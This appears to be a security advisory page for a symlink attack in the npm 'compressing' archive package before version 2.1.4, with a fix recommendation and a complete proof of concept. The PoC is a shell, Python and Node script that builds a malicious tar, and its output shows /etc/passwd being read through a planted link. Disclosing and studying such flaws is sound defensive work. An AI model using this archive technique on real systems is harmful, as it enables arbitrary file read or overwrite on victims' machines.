Symlink Attack Affecting compressing package, versions <2.1.4


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.84% (60th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-COMPRESSING-23776536
  • published5 Dec 2026
  • disclosed4 Dec 2026
  • creditZachariah Mithani

Introduced: 4 Dec 2026

NewCVE-2026-144971  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade compressing to version 2.1.4 or higher.

Overview

compressing is an Everything you need for compressing and uncompressing

Affected versions of this package are vulnerable to Symlink Attack via makeUncompressFn in lib/utils.js, where the symlink containment check (isRealPathSafe) resolves a symlink entry's target against the entry's textual path rather than the real, on-disk parent directory. An attacker can supply a tar, tgz, or zip archive that first creates an internal directory symlink (e.g. sub/d -> ..) pointing back to the extraction root, then chains further entry paths through that link (e.g. sub/d/sub/d/sub/d/sub/d/x). Because the textual depth makes a ../../../../../../../../etc/passwd target appear contained, the guard accepts it and plants a symlink at the extraction root pointing to an arbitrary filesystem path, enabling arbitrary file read or overwrite when the application later accesses the extracted tree.

PoC

node 22, Docker with --network none:

#!/bin/sh
# PoC: compressing@2.1.3 symlink containment bypass via self-referential symlink (single archive, no pre-existing state).
# Run on acer (docker, install with network, PoC with --network none):
#   mkdir -p /tmp/verify-v3/c && cd /tmp/verify-v3/c && cp <this file> .
#   docker run --rm -v $PWD:/w -w /w node:22 sh -c 'npm i compressing@2.1.3 --silent'
#   docker run --rm --network none -v $PWD:/w -w /w node:22 sh poc-compressing.sh
cat > mk.py <<'PY'
import tarfile, io, sys
def sym(t,name,link):
    i=tarfile.TarInfo(name); i.type=tarfile.SYMTYPE; i.linkname=link; t.addfile(i)
def d(t,name):
    i=tarfile.TarInfo(name); i.type=tarfile.DIRTYPE; i.mode=0o755; t.addfile(i)
N='sub/d/'*4+'x'   # textual depth 8 below dest, real depth 0 (sub/d -> '..' == dest)
for out,up in (('control.tar',9),('attack.tar',8)):   # control: textual target escapes dest -> must be rejected
    t=tarfile.open(out,'w')
    d(t,'sub'); sym(t,'sub/d','..')        # accepted: target == dest
    sym(t,N,'../'*up+'etc/passwd')
    t.close()
PY
python3 -I mk.py
cat > run.js <<'JS'
const c=require('compressing'),fs=require('fs'),path=require('path');
(async()=>{
 for (const t of ['control','attack']) {
  const dest='/tmp/ex-'+t; fs.rmSync(dest,{recursive:true,force:true});
  await c.tar.uncompress(t+'.tar',dest);
  const x=path.join(dest,'x');
  let l; try{l=fs.readlinkSync(x)}catch(e){l='(none)'}
  console.log(`[${t}] extracted entries:`,fs.readdirSync(dest),' x -> ',l,
    ' realpath(x)=', (()=>{try{return fs.realpathSync(x)}catch(e){return 'ERR '+e.code}})());
  if (t==='attack') console.log('read through planted link:', fs.readFileSync(x,'utf8').split('\n')[0]);
 }
})();
JS
node run.js
[control] extracted entries: [ 'sub' ]  x ->  (none)  realpath(x)= ERR ENOENT
[compressing] Skipping symlink "sub/d/sub/d/sub/d/sub/d/x": target "/tmp/etc/passwd" escapes extraction directory
[attack] extracted entries: [ 'sub', 'x' ]  x ->  ../../../../../../../../etc/passwd  realpath(x)= /etc/passwd
read through planted link: root:x:0:0:root:/root:/bin/bash

The guard rejects the textually escaping link (control), but the attack archive plants x -> /etc/passwd in the extraction directory.

Note: The PoC states it targets node 22 running inside Docker with --network none.

CVSS Base Scores

version 4.0
version 3.1